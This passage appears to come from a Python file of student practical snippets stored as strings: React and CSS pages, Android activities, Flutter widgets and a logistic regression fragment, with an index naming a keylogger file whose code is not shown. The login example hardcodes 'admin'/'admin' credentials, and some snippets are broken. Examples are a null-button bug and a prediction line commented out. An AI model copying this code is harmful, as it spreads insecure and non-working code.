import './App.css';  // Import the CSS file

function App() {
  return (
    <div className="App">
      <h1>Hello World!</h1>
    </div>
  );
}

export default App

5. css file 
for edits 
/* src/App.css */
body {
  background-color: lightblue;
  font-family: Arial, sans-serif;
  margin: 0;
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
}

h1 {
  color: white;
  font-size: 48px;
  text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);
}

'''

Resp_Web_Meta_Media='''
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
  box-sizing: border-box;
}

.row::after {
  content: "";
  clear: both;
  display: table;
}

[class*="col-"] {
  float: left;
  padding: 15px;
}

html {
  font-family: "Lucida Sans", sans-serif;
}

.header {
  background-color: #9933cc;
  color: #ffffff;
  padding: 15px;
}

.menu ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
}

.menu li {
  padding: 8px;
  margin-bottom: 7px;
  background-color: #33b5e5;
  color: #ffffff;
  box-shadow: 0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24);
}

.menu li:hover {
  background-color: #0099cc;
}

.aside {
  background-color: #33b5e5;
  padding: 15px;
  color: #ffffff;
  text-align: center;
  font-size: 14px;
  box-shadow: 0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24);
}

.footer {
  background-color: #0099cc;
  color: #ffffff;
  text-align: center;
  font-size: 12px;
  padding: 15px;
}

/* For mobile phones: */
[class*="col-"] {
  width: 100%;
}

@media only screen and (min-width: 600px) {
  /* For tablets: */
  .col-s-1 {width: 8.33%;}
  .col-s-2 {width: 16.66%;}
  .col-s-3 {width: 25%;}
  .col-s-4 {width: 33.33%;}
  .col-s-5 {width: 41.66%;}
  .col-s-6 {width: 50%;}
  .col-s-7 {width: 58.33%;}
  .col-s-8 {width: 66.66%;}
  .col-s-9 {width: 75%;}
  .col-s-10 {width: 83.33%;}
  .col-s-11 {width: 91.66%;}
  .col-s-12 {width: 100%;}
}
@media only screen and (min-width: 768px) {
  /* For desktop: */
  .col-1 {width: 8.33%;}
  .col-2 {width: 16.66%;}
  .col-3 {width: 25%;}
  .col-4 {width: 33.33%;}
  .col-5 {width: 41.66%;}
  .col-6 {width: 50%;}
  .col-7 {width: 58.33%;}
  .col-8 {width: 66.66%;}
  .col-9 {width: 75%;}
  .col-10 {width: 83.33%;}
  .col-11 {width: 91.66%;}
  .col-12 {width: 100%;}
}
</style>
</head>
<body>

<div class="header">
  <h1>Chania</h1>
</div>

<div class="row">
  <div class="col-3 col-s-3 menu">
    <ul>
      <li>The Flight</li>
      <li>The City</li>
      <li>The Island</li>
      <li>The Food</li>
    </ul>
  </div>

  <div class="col-6 col-s-9">
    <h1>The City</h1>
    <p>Chania is the capital of the Chania region on the island of Crete. The city can be divided in two parts, the old town and the modern city.</p>
  </div>

  <div class="col-3 col-s-12">
    <div class="aside">
      <h2>What?</h2>
      <p>Chania is a city on the island of Crete.</p>
      <h2>Where?</h2>
      <p>Crete is a Greek island in the Mediterranean Sea.</p>
      <h2>How?</h2>
      <p>You can reach Chania airport from all over Europe.</p>
    </div>
  </div>
</div>

<div class="footer">
  <p>Resize the browser window to see how the content respond to the resizing.</p>
</div>

</body>
</html>


'''

Responsive = '''
/* Basic styling */
body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

header {
    background-color: dodgerblue;
    color: white;
    padding: 20px;
    text-align: center;
}

nav ul {
    list-style-type: none;
    padding: 0;
}

nav ul li {
    display: inline;
    margin: 0 15px;
}

nav ul li a {
    color: white;
    text-decoration: none;
}

.hero {
    background-color: lightgray;
    padding: 50px;
    text-align: center;
}

.content {
    display: flex;
    flex-wrap: wrap;
    justify-content: space-around;
    padding: 20px;
}

.column {
    background-color: #f4f4f4;
    margin: 10px;
    padding: 20px;
    width: 30%;
    text-align: center;
}

footer {
    background-color: dodgerblue;
    color: white;
    text-align: center;
    padding: 10px;
}

/* Responsive styling */
@media (max-width: 768px) {
    .column {
        width: 45%;
    }
}

@media (max-width: 480px) {
    .column {
        width: 100%;
    }

    nav ul li {
        display: block;
        margin: 10px 0;
    }
}
'''


iss_codes = {
    "ceaser_cipher.cpp": ceaser_cipher,
    "polyalphabetic_cipher.cpp": polyalphabetic_cipher,
    "row_column_transposition.cpp": row_column_transposition,
    "diffie_hellman.cpp": diffie_hellman,
    "rsa.cpp": rsa,
    'des.cpp': des,
    'full_des.cpp' : full_des,
    'keylogger.cpp': keylogger,
    'rainbow_table.cpp': rainbow_table
}

itc_codes = {
    'entropy.py': entropy,
    'arithmetic_Encoding.py': arithmetic_Encoding,
    'huffman.py': huffman,
    'rle.py': rle,
    'lzw.py': lzw
}

eit_codes= {
    'Docker_Hello_World.txt': Docker_Hello_World,
    'Node_Hello_World.txt': Node_Hello_World,
    'React_Hello.txt':React_Hello,
    'Resp_Web_Meta_Media.txt':Resp_Web_Meta_Media,
    'Responsive.txt':Responsive
}

toast = '''
    Toast.makeText(RadioBtnAct.this , "Selected option : " + rdbtn.getText(), Toast.LENGTH_SHORT).show();

'''

listview = '''
Java code :
package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.ListView;

public class ListAct extends AppCompatActivity {
    ListView listView;
    String[] items = {"Item 1", "Item 2", "Item 3", "Item 4"};

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_list);
        listView = findViewById(R.id.listView);
//        ArrayAdapter<String> adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, items);
//        listView.setAdapter(adapter);
        ArrayAdapter<String> adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1,items);
        listView.setAdapter(adapter);
        listView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
            @Override
            public void onItemClick(AdapterView<?> parent, View view, int position, long id) {

                if(position == 1){
                Intent i = new Intent(ListAct.this, loginFormAct.class);
                startActivity(i);}
                else if (position == 2){
                    Intent i = new Intent(ListAct.this, SharedPrefAct.class);
                    startActivity(i);

                }
            }
        });


    }

}

xml code

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".ListAct">

    <ListView
        android:id="@+id/listView"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        />

</androidx.constraintlayout.widget.ConstraintLayout>


'''

checkbox = '''

java :
package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.widget.CheckBox;
import android.widget.Toast;

public class checkBox extends AppCompatActivity {
    CheckBox checkBox1, checkBox2;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_check_box);
        checkBox1 = findViewById(R.id.checkBox1);
        checkBox2 = findViewById(R.id.checkBox2);
        checkBox1.setOnCheckedChangeListener((buttonView, isChecked) ->
                Toast.makeText(this, "option1", Toast.LENGTH_SHORT).show());

        checkBox2.setOnCheckedChangeListener((buttonView, isChecked) ->
                Toast.makeText(this, "option2", Toast.LENGTH_SHORT).show());

    }
}


xml :
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".checkBox">

    <CheckBox
        android:id="@+id/checkBox1"
        android:layout_width="91dp"
        android:layout_height="40dp"
        android:text="Option 1"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    <CheckBox
        android:id="@+id/checkBox2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Option 2"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/checkBox1" />


</androidx.constraintlayout.widget.ConstraintLayout>



'''

dateTime = '''
package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.app.DatePickerDialog;
import android.app.TimePickerDialog;
import android.os.Bundle;
import android.view.View;
import android.widget.DatePicker;
import android.widget.TextView;
import android.widget.TimePicker;

import java.util.Calendar;

public class dateTimeAct extends AppCompatActivity {
    TextView tvDate1, tvTime2;
    int d1Year, d1Month, d1Day, t2Hour, t2Minute;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_date_time);
        tvDate1 = findViewById(R.id.tv_date1);
        tvTime2 = findViewById(R.id.tv_date2);

        // Set OnClickListener for the first date TextView
        tvDate1.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // Initialize DatePickerDialog
                Calendar calendar = Calendar.getInstance();
                d1Year = calendar.get(Calendar.YEAR);
                d1Month = calendar.get(Calendar.MONTH);
                d1Day = calendar.get(Calendar.DAY_OF_MONTH);

                DatePickerDialog datePickerDialog = new DatePickerDialog(
                        dateTimeAct.this,
                        new DatePickerDialog.OnDateSetListener() {
                            @Override
                            public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
                                // Update year, month, and day
                                d1Year = year;
                                d1Month = month;
                                d1Day = dayOfMonth;

                                // Set selected date in TextView
                                tvDate1.setText(dayOfMonth + "/" + (month + 1) + "/" + year);
                            }
                        }, d1Year, d1Month, d1Day);
                datePickerDialog.show();
            }
        });

        // Set OnClickListener for the second date TextView
        tvTime2.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // Initialize TimePickerDialog
                Calendar calendar = Calendar.getInstance();
                t2Hour = calendar.get(Calendar.HOUR_OF_DAY);
                t2Minute = calendar.get(Calendar.MINUTE);

                TimePickerDialog timePickerDialog = new TimePickerDialog(
                        dateTimeAct.this,
                        new TimePickerDialog.OnTimeSetListener() {
                            @Override
                            public void onTimeSet(TimePicker view, int hourOfDay, int minute) {
                                // Update hour and minute
                                t2Hour = hourOfDay;
                                t2Minute = minute;

                                // Set selected time in 12-hour format
                                tvTime2.setText(String.format("%02d:%02d %s",
                                        (t2Hour % 12 == 0 ? 12 : t2Hour % 12), t2Minute, (t2Hour < 12 ? "AM" : "PM")));
                            }
                        }, t2Hour, t2Minute, false); // 'false' for 12-hour format
                timePickerDialog.show();
            }
        });
    }
}

xml:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/tv_date1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:hint="Select Date 1"
        android:textSize="32sp"
        android:textStyle="bold"
        android:gravity="center"
        android:drawablePadding="16dp"
        android:background="@android:drawable/editbox_background"
        android:padding="16dp"/>

    <TextView
        android:id="@+id/tv_date2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:hint="Select Date 2"
        android:textSize="32sp"
        android:textStyle="bold"
        android:gravity="center"
        android:drawablePadding="16dp"
        android:background="@android:drawable/editbox_background"
        android:padding="16dp"
        android:layout_marginTop="16dp"/>

</LinearLayout>


'''

oneActToOtherAndToast = ''' 

package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
    Button btn1, btn2;


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        btn1.findViewById(R.id.button);
        btn2.findViewById(R.id.button2);

        btn1.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Toast.makeText(MainActivity.this,"Toast Msg",Toast.LENGTH_LONG).show();
            }
        });
        btn2.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent i = new Intent(MainActivity.this, SharedPrefAct.class);
                startActivity(i);

            }
        });

    }
}

xml:

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hello World!"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Button"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView" />
    <Button
        android:id="@+id/button2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Next"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/button" />

</androidx.constraintlayout.widget.ConstraintLayout>
'''

radiobtn='''
package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.Toast;

public class RadioBtnAct extends AppCompatActivity {
   RadioGroup rdgrp;
   RadioButton rdbtn;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_radio_btn);


        rdgrp = findViewById(R.id.rdgrp);
        rdgrp.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(RadioGroup group, int checkedId) {
                rdbtn = findViewById(checkedId);
                Toast.makeText(RadioBtnAct.this , "Selected option : " + rdbtn.getText(), Toast.LENGTH_SHORT).show();
            }
        });


    }
}

xml:
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".RadioBtnAct">

    <RadioGroup
        android:id="@+id/rdgrp"

        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent">


        <RadioButton
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="opt 1"/>
        <RadioButton
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="opt 2"/>
        <RadioButton
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="opt 3"/>

    </RadioGroup>
</androidx.constraintlayout.widget.ConstraintLayout>

'''

sharedPrefrence='''
package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Context;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.Toast;

import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;

public class SharedPrefAct extends AppCompatActivity {
    EditText editTextUsername;
    Button buttonSave;

    ListView listViewUsernames;

    ArrayAdapter<String> adapter;
    List<String> usernameList ;

    SharedPreferences sharedPreferences;
    SharedPreferences.Editor editor;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_shared_pref);
        editTextUsername = findViewById(R.id.editTextUsername);
        buttonSave = findViewById(R.id.buttonSave);
        listViewUsernames = findViewById(R.id.listViewUsernames);

        // Initialize SharedPreferences
        sharedPreferences = getSharedPreferences("MyPref", Context.MODE_PRIVATE);
        editor = sharedPreferences.edit();

        // Initialize the list and adapter
        usernameList = new ArrayList<>();
        adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, usernameList);
        listViewUsernames.setAdapter(adapter);

        // Load previously saved usernames and update the ListView
        loadUsernames();

        // Set up the Save button's OnClickListener
        buttonSave.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                String username = editTextUsername.getText().toString().trim();

                if (!username.isEmpty()) {
                    // Save username to SharedPreferences
                    saveUsername(username);
                    // Clear the input field
                    editTextUsername.setText("");
                    // Show confirmation message
                    Toast.makeText(SharedPrefAct.this, "Username saved!", Toast.LENGTH_SHORT).show();
                    // Update the ListView with the new username
                    loadUsernames();
                } else {
                    Toast.makeText(SharedPrefAct.this, "Please enter a username", Toast.LENGTH_SHORT).show();
                }
            }
        });
    }

    // Function to save username to SharedPreferences
    private void saveUsername(String username) {
        // Retrieve existing usernames from SharedPreferences
        Set<String> usernameSet = sharedPreferences.getStringSet("usernames", new HashSet<>());

        // Add the new username
        usernameSet.add(username);

        // Save the updated set back to SharedPreferences
        editor.putStringSet("usernames", usernameSet);
        editor.apply();  // Apply changes
    }

    // Function to load usernames from SharedPreferences and update the ListView
    private void loadUsernames() {
        // Clear the current list
        usernameList.clear();

        // Retrieve the usernames from SharedPreferences
        Set<String> usernameSet = sharedPreferences.getStringSet("usernames", new HashSet<>());

        // Add all usernames to the list
        usernameList.addAll(usernameSet);

        // Notify the adapter to refresh the ListView
        adapter.notifyDataSetChanged();
    }
}


xml:

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".SharedPrefAct">

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:orientation="vertical"
        android:padding="16dp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent">

        <EditText
            android:id="@+id/editTextUsername"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:hint="Enter username" />

        <Button
            android:id="@+id/buttonSave"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Save" />
        <ListView
            android:id="@+id/listViewUsernames"
            android:layout_width="match_parent"
            android:layout_height="wrap_content" />

    </LinearLayout>

</androidx.constraintlayout.widget.ConstraintLayout>


'''

loginForm = '''
java code :

package com.example.practical;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class loginFormAct extends AppCompatActivity {
    EditText username, password;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login_form);
        username = findViewById(R.id.username);
        password = findViewById(R.id.password);
    }

    public void login(View view) {
        String user = username.getText().toString();
        String pass = password.getText().toString();

        if (user.equals("admin") && pass.equals("admin")) {
            Toast.makeText(this, "Login successful", Toast.LENGTH_SHORT).show();
        } else {
            Toast.makeText(this, "Invalid credentials", Toast.LENGTH_SHORT).show();
        }
    }
}

xml:


<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".loginFormAct">


    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:orientation="vertical">
        <EditText
            android:id="@+id/username"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:hint="Username" />

        <EditText
            android:id="@+id/password"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:hint="Password"

            android:inputType="textPassword" />

        <Button
            android:id="@+id/loginButton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Login" />

    </LinearLayout>

</androidx.constraintlayout.widget.ConstraintLayout>


'''

lifecycle = '''
act1 java:
package com.example.activitylifecycle2;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Toast.makeText(this, "onCreate", Toast.LENGTH_SHORT).show();
        
        // Set up the TextView to navigate to SecondActivity
        TextView textView = findViewById(R.id.FirstActivity);
        textView.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(MainActivity.this, SecondActivity.class);
                startActivity(intent);
            }
        });
    }

    @Override
    protected void onStart() {
        super.onStart();
        Toast.makeText(this, "onStart", Toast.LENGTH_SHORT).show();
    }

    @Override
    protected void onResume() {
        super.onResume();
        Toast.makeText(this, "onResume", Toast.LENGTH_SHORT).show();
    }

    @Override
    protected void onPause() {
        super.onPause();
        Toast.makeText(this, "onPause", Toast.LENGTH_SHORT).show();
    }

    @Override
    protected void onStop() {
        super.onStop();
        Toast.makeText(this, "onStop", Toast.LENGTH_SHORT).show();
    }

    @Override
    protected void onRestart() {
        super.onRestart();
        Toast.makeText(this, "onRestart", Toast.LENGTH_SHORT).show();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        Toast.makeText(this, "onDestroy", Toast.LENGTH_SHORT).show();
    }
}


act1 xml:
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/FirstActivity"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="First Activity!"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>


act2 java:
package com.example.activitylifecycle2;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Gravity;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;

public class SecondActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_second);
        Toast toast = Toast.makeText(this, "SecondCreate", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();

        // Set up the TextView to navigate to ThirdActivity
        TextView textView = findViewById(R.id.SecondActivity);
        textView.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(SecondActivity.this, ThirdActivity.class);
                startActivity(intent);
            }
        });
    }

    @Override
    protected void onStart() {
        super.onStart();
        Toast toast = Toast.makeText(this, "SecondStart", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();
    }

    @Override
    protected void onResume() {
        super.onResume();
        Toast toast = Toast.makeText(this, "SecondResume", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();
    }

    @Override
    protected void onPause() {
        super.onPause();
        Toast toast = Toast.makeText(this, "SecondPause", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();
    }

    @Override
    protected void onStop() {
        super.onStop();
        Toast toast = Toast.makeText(this, "SecondStop", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();
    }

    @Override
    protected void onRestart() {
        super.onRestart();
        Toast toast = Toast.makeText(this, "SecondRestart", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        Toast toast = Toast.makeText(this, "SecondDestroy", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.CENTER, 0, 0);
        toast.show();
    }
}

act2 xml
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".SecondActivity">

    <TextView
        android:id="@+id/SecondActivity"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Second Activity!"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>


act3 java:
package com.example.activitylifecycle2;

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.view.Gravity;
import android.widget.Toast;

public class ThirdActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_third);
        Toast toast = Toast.makeText(this, "ThirdCreate", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }

    @Override
    protected void onStart() {
        super.onStart();
        Toast toast = Toast.makeText(this, "ThirdStart", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }

    @Override
    protected void onResume() {
        super.onResume();
        Toast toast = Toast.makeText(this, "ThirdResume", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }

    @Override
    protected void onPause() {
        super.onPause();
        Toast toast = Toast.makeText(this, "ThirdPause", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }

    @Override
    protected void onStop() {
        super.onStop();
        Toast toast = Toast.makeText(this, "ThirdStop", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }

    @Override
    protected void onRestart() {
        super.onRestart();
        Toast toast = Toast.makeText(this, "ThirdRestart", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        Toast toast = Toast.makeText(this, "ThirdDestroy", Toast.LENGTH_SHORT);
        toast.setGravity(Gravity.TOP, 0, 0);
        toast.show();
    }
}


act3 xml
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".ThirdActivity">

    <TextView
        android:id="@+id/ThirdActivity"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Third Activity!"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>



'''

fluterexp1 = '''
import 'package:flutter/material.dart';

class HelloWorld extends StatefulWidget {
  const HelloWorld({super.key});

  @override
  State<HelloWorld> createState() => _HelloWorldState();
}

class _HelloWorldState extends State<HelloWorld> {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text("Hello App"),
      ),
      body: Center(
        child: Text("Hello World!!"),
      ),
    );
  }
}
'''

flutterexp2 = '''
import 'package:flutter/material.dart';

class RowAndCol extends StatefulWidget {
  const RowAndCol({super.key});

  @override
  State<RowAndCol> createState() => _RowAndColState();
}

class _RowAndColState extends State<RowAndCol> {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text("Rows"),
      ),
      body: Center(
        child: Row(
          children: [
            Column(
              children: [
                Container(
                  height: 100,
                  width: 100,
                  color: Colors.red,
                ),
                Container(
                  height: 100,
                  width: 100,
                  color: Colors.blue,
                ),
              ],
            ),
            Column(
              children: [
                Container(
                  height: 100,
                  width: 100,
                  color: Colors.blue,
                ),
                Container(
                  height: 100,
                  width: 100,
                  color: Colors.red,
                ),
              ],
            )
          ],
        ),
      ),
    );
  }
}

'''

Logistic_Reg = '''
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X_over, y_over, test_size=0.2, random_state=42)

from sklearn.linear_model import LogisticRegression #here we will perform LogisticRegression
from sklearn.metrics import confusion_matrix, accuracy_score, roc_curve, roc_auc_score

# Create and train the Logistic Regression model
logreg = LogisticRegression()
logreg.fit(X_train, y_train)

# Predict on the test setprediction=logreg.predict(X_test) #here we are predecting the testing part not the training
cnf_matrix = confusion_matrix(y_test,prediction)
